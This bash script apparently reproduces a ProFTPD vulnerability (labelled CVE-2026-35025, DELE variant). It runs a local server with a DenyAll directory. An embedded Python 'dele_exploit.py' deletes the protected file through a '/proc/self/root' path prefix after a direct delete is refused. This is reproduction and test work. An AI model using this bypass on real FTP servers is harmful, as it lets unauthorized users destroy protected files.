#!/bin/bash
set -uo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
ARTIFACTS="$ROOT/artifacts"
mkdir -p "$LOGS"
mkdir -p "$ARTIFACTS"

cd "$ROOT"

exec > >(tee -a "$LOGS/dele_variant_test.log")
exec 2>&1

PROFTPD="/data/pruva/project-cache/e16fa440-7670-4503-8601-378cf2096f7e/repo/build-vuln/proftpd"
PORT=2122
CURRENT_USER="${USER:-$(id -un)}"
CURRENT_UID="$(id -u)"
CURRENT_GID="$(id -g)"
GROUP_NAME="vscode"

TEST_ROOT="$ARTIFACTS/ftp-root"
PID_FILE="$ARTIFACTS/proftpd.pid"
SCOREBOARD_FILE="$ARTIFACTS/proftpd.scoreboard"
PASSWD_FILE="$ARTIFACTS/proftpd.passwd"
GROUP_FILE="$ARTIFACTS/proftpd.group"
CONF_FILE="$ARTIFACTS/proftpd.conf"

cleanup() {
    if [ -f "$PID_FILE" ]; then
        kill "$(cat "$PID_FILE")" 2>/dev/null || true
    fi
    rm -f "$PID_FILE" "$SCOREBOARD_FILE"
}

trap cleanup EXIT

rm -rf "$TEST_ROOT"
mkdir -p "$TEST_ROOT/protected"
mkdir -p "$TEST_ROOT/public"

echo "SECRET-DELE-VARIANT" > "$TEST_ROOT/protected/secret.txt"
echo "LEAKED" > "$TEST_ROOT/public/leaked.txt"

chmod 755 "$TEST_ROOT" "$TEST_ROOT/protected" "$TEST_ROOT/public"
chmod 644 "$TEST_ROOT/protected/secret.txt" "$TEST_ROOT/public/leaked.txt"

# Generate auth files using openssl passwd (md5 $1$ hash)
HASH="$(openssl passwd -1 testpass)"
printf '%s\n' "${CURRENT_USER}:${HASH}:${CURRENT_UID}:${CURRENT_GID}:${CURRENT_USER}:${TEST_ROOT}:/bin/false" > "$PASSWD_FILE"
printf '%s\n' "${GROUP_NAME}:x:${CURRENT_GID}:${CURRENT_USER}" > "$GROUP_FILE"
chmod 600 "$PASSWD_FILE" "$GROUP_FILE"

export TEST_ROOT
export CURRENT_USER
export PORT

cat > "$CONF_FILE" <<EOF
ServerName "ProFTPD-CVE-2026-35025-DELE-VARIANT"
ServerType standalone
DefaultServer on
Port $PORT
User $CURRENT_USER
Group $GROUP_NAME

AuthUserFile $PASSWD_FILE
AuthGroupFile $GROUP_FILE
RequireValidShell off
AuthOrder mod_auth_file.c

UseIPv6 off
UseReverseDNS off
ScoreboardFile $SCOREBOARD_FILE
PidFile $PID_FILE

<Directory $TEST_ROOT>
  <Limit ALL>
    AllowAll
  </Limit>
</Directory>

<Directory $TEST_ROOT/protected>
  <Limit ALL>
    DenyAll
  </Limit>
</Directory>

<Directory $TEST_ROOT/public>
  <Limit ALL>
    AllowAll
  </Limit>
</Directory>
EOF

rm -f "$PID_FILE" "$SCOREBOARD_FILE"
"$PROFTPD" -c "$CONF_FILE" -d 10 > "$LOGS/proftpd_dele.log" 2>&1 &
PROFTPD_PID=$!

for i in $(seq 1 30); do
    if nc -z localhost "$PORT" 2>/dev/null; then
        echo "ProFTPD is listening on port $PORT"
        break
    fi
    if ! kill -0 "$PROFTPD_PID" 2>/dev/null; then
        echo "ProFTPD exited prematurely (see logs/proftpd_dele.log)"
        exit 1
    fi
    sleep 1
done
nc -z localhost "$PORT" 2>/dev/null || { echo "ProFTPD failed to start (see logs/proftpd_dele.log)"; exit 1; }

PYTHON_SCRIPT="$ARTIFACTS/dele_exploit.py"
cat > "$PYTHON_SCRIPT" <<'PYEOF'
import ftplib
import os
import sys

host = "localhost"
port = int(os.environ.get("PORT", "2122"))
user = os.environ.get("CURRENT_USER", "testuser")
passwd = "testpass"

results = {}

ftp = ftplib.FTP()
ftp.connect(host, port)
ftp.login(user, passwd)
print(f"Logged in as {user}")

protected_path = os.path.join(os.environ["TEST_ROOT"], "protected", "secret.txt")

def restore_file():
    with open(protected_path, "w") as f:
        f.write("SECRET-DELE-VARIANT\n")
    os.chmod(protected_path, 0o644)

restore_file()

print("\n=== Test 1: Direct DELE of protected file should fail ===")
try:
    ftp.delete("protected/secret.txt")
    print("Direct DELE allowed (unexpected)")
    results["direct_dele"] = "ALLOWED"
except ftplib.error_perm as e:
    print(f"Direct DELE denied: {e}")
    results["direct_dele"] = "DENIED"
except Exception as e:
    print(f"Direct DELE error: {e}")
    results["direct_dele"] = f"ERROR: {e}"

restore_file()

print("\n=== Test 2: DELE with /proc/self/root prefix (variant) ===")
proc_path = "/proc/self/root" + protected_path
try:
    ftp.delete(proc_path)
    print("Proc-prefixed DELE allowed (bypass!)")
    results["proc_dele"] = "ALLOWED"
except ftplib.error_perm as e:
    print(f"Proc-prefixed DELE denied: {e}")
    results["proc_dele"] = "DENIED"
except Exception as e:
    print(f"Proc-prefixed DELE error: {e}")
    results["proc_dele"] = f"ERROR: {e}"

ftp.quit()

print("\n=== Results ===")
for k, v in results.items():
    print(f"{k}: {v}")

if results.get("direct_dele") == "DENIED" and results.get("proc_dele") == "ALLOWED":
    print("\nVariant confirmed: DELE bypasses Directory DenyAll via /proc/self/root")
    sys.exit(0)
else:
    print("\nVariant not confirmed")
    sys.exit(1)
PYEOF

python3 "$PYTHON_SCRIPT"
EXIT_CODE=$?
exit $EXIT_CODE
